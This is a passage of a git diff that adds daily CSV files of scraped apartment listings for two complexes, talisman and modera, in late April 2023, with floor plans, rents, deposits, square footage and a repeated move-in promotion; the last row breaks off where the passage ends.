*Restrictions apply." +20230424,modera,S01L,Studio / 1 ba,"Starting from $2,517/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230424,modera,S02,Studio / 1 ba,"Starting from $1,970/month",$300,498+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230424,modera,A03,1 bd/1 ba,"Starting from $1,916/month",$300,553+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230424,modera,A05,1 bd/1 ba,"$1,955/month",$300,596,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230424,modera,A06,1 bd/1 ba,"Starting from $2,095/month",$300,606,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230424,modera,A07,1 bd/1 ba,"Starting from $2,365/month",$300,634+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230424,modera,A08,1 bd/1 ba,"Starting from $2,147/month",$300,670,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230424,modera,A09,1 bd/1 ba,"Starting from $2,346/month",$300,640,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230424,modera,A10,1 bd/1 ba,"Starting from $2,415/month",$300,672+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230424,modera,A12,1 bd/1 ba,"Starting from $2,546/month",$300,751+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230424,modera,A16D,1 bd/1 ba,"Starting from $2,906/month",$300,882,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230424,modera,B01,2 bd/2 ba,"Starting from $2,875/month",$300,961,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230424,modera,B02,2 bd/2 ba,"Starting from $2,617/month",$300,989+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230424,modera,B03,2 bd/2 ba,"Starting from $3,125/month",$300,"1,039+",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230424,modera,B05,2 bd/2 ba,"Starting from $3,166/month",$300,"1,124+",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230424,modera,B07,2 bd/2 ba,"Starting from $3,184/month",$300,"1,233",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230424,modera,S01L,Studio / 1 ba,"Starting from $2,517/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230425.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230425.csv new file mode 100644 index 00000000000..0cbbd92997c --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230425.csv @@ -0,0 +1,49 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230425,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230425,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230425,talisman,Urban with L or Galley Kitchen,1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230425,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230425,talisman,A1 (1x1),1 Bed 1 Bath,"$1,977",$300,604 - 671 sq.ft.,None,N/A +20230425,talisman,Urban with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,605 sq.ft.,None,N/A +20230425,talisman,Urban Plus with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230425,talisman,B5 (1x1),1 Bed 1 Bath,"$2,571",$300,674 - 775 sq.ft.,None,N/A +20230425,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230425,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230425,talisman,Traditional One Bedroom,1 Bed 1 Bath,ContactUs,$300,775 sq.ft.,None,N/A +20230425,talisman,AL2,1 Bed 1 Bath,"$4,081",$300,785 - 852 sq.ft.,None,N/A +20230425,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230425,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230425,talisman,BL5 (1x1),1 Bed 1 Bath,"$4,121",$300,906 - 930 sq.ft.,None,N/A +20230425,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230425,talisman,BL2,2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230425,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230425,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230425,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230425,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230425,talisman,C3 (2x2),2 Bed 2 Bath,"$2,759",$300,1010 - 1103 sq.ft.,None,N/A +20230425,talisman,C1 (2x2),2 Bed 2 Bath,"$3,148",$300,1029 - 1294 sq.ft.,None,N/A +20230425,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230425,talisman,C2 (2x2),2 Bed 2 Bath,"$3,093",$300,1088 - 1243 sq.ft.,None,N/A +20230425,talisman,C8 (2x2),2 Bed 2 Bath,"$3,094",$300,1155 sq.ft.,None,N/A +20230425,talisman,C11 (2x2),2 Bed 2 Bath,"$3,119",$300,1161 sq.ft.,None,N/A +20230425,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230425,talisman,Loft Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230425,talisman,2x2 Plus,3 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230425,talisman,Loft Three Bedroom,3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230425,modera,S01,Studio / 1 ba,"Starting from $1,929/month",$300,477+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230425,modera,S01L,Studio / 1 ba,"Starting from $2,672/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230425,modera,S02,Studio / 1 ba,"Starting from $2,125/month",$300,498+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230425,modera,A03,1 bd/1 ba,"Starting from $1,651/month",$300,553+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230425,modera,A05,1 bd/1 ba,"$1,621/month",$300,596,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230425,modera,A06,1 bd/1 ba,"Starting from $1,866/month",$300,606,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230425,modera,A07,1 bd/1 ba,"Starting from $2,208/month",$300,634+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230425,modera,A08,1 bd/1 ba,"Starting from $1,976/month",$300,670,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230425,modera,A09,1 bd/1 ba,"Starting from $2,074/month",$300,640,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230425,modera,A10,1 bd/1 ba,"Starting from $2,231/month",$300,672+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230425,modera,A12,1 bd/1 ba,"Starting from $2,216/month",$300,751+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230425,modera,A16D,1 bd/1 ba,"Starting from $2,678/month",$300,882,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230425,modera,B01,2 bd/2 ba,"Starting from $2,737/month",$300,961,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230425,modera,B02,2 bd/2 ba,"Starting from $2,620/month",$300,989+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230425,modera,B03,2 bd/2 ba,"Starting from $2,915/month",$300,"1,039+",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230425,modera,B07,2 bd/2 ba,"Starting from $3,000/month",$300,"1,233",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230425,modera,S01L,Studio / 1 ba,"Starting from $2,672/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230426.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230426.csv new file mode 100644 index 00000000000..007660b995e --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230426.csv @@ -0,0 +1,47 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230426,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230426,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230426,talisman,Urban with L or Galley Kitchen,1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230426,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230426,talisman,A1 (1x1),1 Bed 1 Bath,"$2,099",$300,604 - 671 sq.ft.,None,N/A +20230426,talisman,Urban with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,605 sq.ft.,None,N/A +20230426,talisman,Urban Plus with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230426,talisman,B5 (1x1),1 Bed 1 Bath,"$2,490",$300,674 - 775 sq.ft.,None,N/A +20230426,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230426,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230426,talisman,Traditional One Bedroom,1 Bed 1 Bath,ContactUs,$300,775 sq.ft.,None,N/A +20230426,talisman,AL2,1 Bed 1 Bath,"$4,083",$300,785 - 852 sq.ft.,None,N/A +20230426,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230426,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230426,talisman,BL5 (1x1),1 Bed 1 Bath,"$4,123",$300,906 - 930 sq.ft.,None,N/A +20230426,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230426,talisman,BL2,2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230426,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230426,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230426,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230426,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230426,talisman,C3 (2x2),2 Bed 2 Bath,"$2,796",$300,1010 - 1103 sq.ft.,None,N/A +20230426,talisman,C1 (2x2),2 Bed 2 Bath,"$3,185",$300,1029 - 1294 sq.ft.,None,N/A +20230426,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230426,talisman,C2 (2x2),2 Bed 2 Bath,"$3,130",$300,1088 - 1243 sq.ft.,None,N/A +20230426,talisman,C8 (2x2),2 Bed 2 Bath,"$3,131",$300,1155 sq.ft.,None,N/A +20230426,talisman,C11 (2x2),2 Bed 2 Bath,"$3,156",$300,1161 sq.ft.,None,N/A +20230426,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230426,talisman,Loft Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230426,talisman,2x2 Plus,3 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230426,talisman,Loft Three Bedroom,3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230426,modera,S01,Studio / 1 ba,"Starting from $1,929/month",$300,477+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230426,modera,S01L,Studio / 1 ba,"$2,672/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230426,modera,S02,Studio / 1 ba,"Starting from $2,125/month",$300,498+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230426,modera,A03,1 bd/1 ba,"Starting from $1,651/month",$300,553+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230426,modera,A05,1 bd/1 ba,"Starting from $1,666/month",$300,596,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230426,modera,A06,1 bd/1 ba,"Starting from $1,866/month",$300,606,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230426,modera,A08,1 bd/1 ba,"Starting from $1,976/month",$300,670,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230426,modera,A09,1 bd/1 ba,"Starting from $1,931/month",$300,640,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230426,modera,A10,1 bd/1 ba,"Starting from $2,027/month",$300,672+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230426,modera,A12,1 bd/1 ba,"Starting from $2,216/month",$300,751+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230426,modera,A16D,1 bd/1 ba,"Starting from $2,575/month",$300,882,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230426,modera,B02,2 bd/2 ba,"Starting from $2,655/month",$300,989+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230426,modera,B03,2 bd/2 ba,"Starting from $2,950/month",$300,"1,039+",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230426,modera,B07,2 bd/2 ba,"Starting from $3,035/month",$300,"1,233",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230426,modera,S01L,Studio / 1 ba,"$2,672/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230427.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230427.csv new file mode 100644 index 00000000000..cd26128ef6c --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230427.csv @@ -0,0 +1,43 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230427,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230427,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230427,talisman,Urban with L or Galley Kitchen,1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230427,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230427,talisman,A1 (1x1),1 Bed 1 Bath,"$2,054",$300,604 - 671 sq.ft.,None,N/A +20230427,talisman,Urban with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,605 sq.ft.,None,N/A +20230427,talisman,Urban Plus with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230427,talisman,B5 (1x1),1 Bed 1 Bath,"$2,480",$300,674 - 775 sq.ft.,None,N/A +20230427,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230427,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230427,talisman,Traditional One Bedroom,1 Bed 1 Bath,ContactUs,$300,775 sq.ft.,None,N/A +20230427,talisman,AL2,1 Bed 1 Bath,"$4,074",$300,785 - 852 sq.ft.,None,N/A +20230427,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230427,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230427,talisman,BL5 (1x1),1 Bed 1 Bath,"$4,124",$300,906 - 930 sq.ft.,None,N/A +20230427,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230427,talisman,BL2,2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230427,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230427,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230427,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230427,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230427,talisman,C3 (2x2),2 Bed 2 Bath,"$2,706",$300,1010 - 1103 sq.ft.,None,N/A +20230427,talisman,C1 (2x2),2 Bed 2 Bath,"$3,145",$300,1029 - 1294 sq.ft.,None,N/A +20230427,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230427,talisman,C2 (2x2),2 Bed 2 Bath,"$3,105",$300,1088 - 1243 sq.ft.,None,N/A +20230427,talisman,C8 (2x2),2 Bed 2 Bath,"$3,131",$300,1155 sq.ft.,None,N/A +20230427,talisman,C11 (2x2),2 Bed 2 Bath,"$3,156",$300,1161 sq.ft.,None,N/A +20230427,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230427,talisman,Loft Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230427,talisman,2x2 Plus,3 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230427,talisman,Loft Three Bedroom,3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230427,modera,S01,Studio / 1 ba,"Starting from $1,957/month",$300,477+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230427,modera,S01L,Studio / 1 ba,"$2,700/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230427,modera,S02,Studio / 1 ba,"Starting from $2,153/month",$300,498+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230427,modera,A08,1 bd/1 ba,"Starting from $2,069/month",$300,670,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230427,modera,A09,1 bd/1 ba,"Starting from $2,024/month",$300,640,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230427,modera,A10,1 bd/1 ba,"Starting from $2,112/month",$300,672+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230427,modera,A12,1 bd/1 ba,"Starting from $2,309/month",$300,751+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230427,modera,A16D,1 bd/1 ba,"Starting from $2,540/month",$300,882,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230427,modera,B03,2 bd/2 ba,"Starting from $2,985/month",$300,"1,039+",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230427,modera,B07,2 bd/2 ba,"Starting from $3,070/month",$300,"1,233",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230427,modera,S01L,Studio / 1 ba,"$2,700/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230428.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230428.csv new file mode 100644 index 00000000000..ea845198ca7 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230428.csv @@ -0,0 +1,42 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230428,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230428,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230428,talisman,Urban with L or Galley Kitchen,1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230428,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230428,talisman,A1 (1x1),1 Bed 1 Bath,"$1,968",$300,604 - 671 sq.ft.,None,N/A +20230428,talisman,Urban with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,605 sq.ft.,None,N/A +20230428,talisman,Urban Plus with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230428,talisman,B5 (1x1),1 Bed 1 Bath,"$2,566",$300,674 - 775 sq.ft.,None,N/A +20230428,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230428,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230428,talisman,Traditional One Bedroom,1 Bed 1 Bath,ContactUs,$300,775 sq.ft.,None,N/A +20230428,talisman,AL2,1 Bed 1 Bath,"$2,874",$300,785 - 852 sq.ft.,None,N/A +20230428,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230428,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230428,talisman,BL5 (1x1),1 Bed 1 Bath,"$2,984",$300,906 - 930 sq.ft.,None,N/A +20230428,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230428,talisman,BL2,2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230428,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230428,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230428,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230428,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230428,talisman,C3 (2x2),2 Bed 2 Bath,"$3,475",$300,1010 - 1103 sq.ft.,None,N/A +20230428,talisman,C1 (2x2),2 Bed 2 Bath,"$3,770",$300,1029 - 1294 sq.ft.,None,N/A +20230428,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230428,talisman,C2 (2x2),2 Bed 2 Bath,"$3,664",$300,1088 - 1243 sq.ft.,None,N/A +20230428,talisman,C8 (2x2),2 Bed 2 Bath,"$3,650",$300,1155 sq.ft.,None,N/A +20230428,talisman,C11 (2x2),2 Bed 2 Bath,"$3,785",$300,1161 sq.ft.,None,N/A +20230428,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230428,talisman,Loft Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230428,talisman,2x2 Plus,3 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230428,talisman,Loft Three Bedroom,3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230428,modera,S01,Studio / 1 ba,"Starting from $1,957/month",$300,477+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230428,modera,S01L,Studio / 1 ba,"$2,700/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230428,modera,S02,Studio / 1 ba,"Starting from $2,153/month",$300,498+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230428,modera,A09,1 bd/1 ba,"Starting from $2,024/month",$300,640,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230428,modera,A10,1 bd/1 ba,"Starting from $2,104/month",$300,672+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 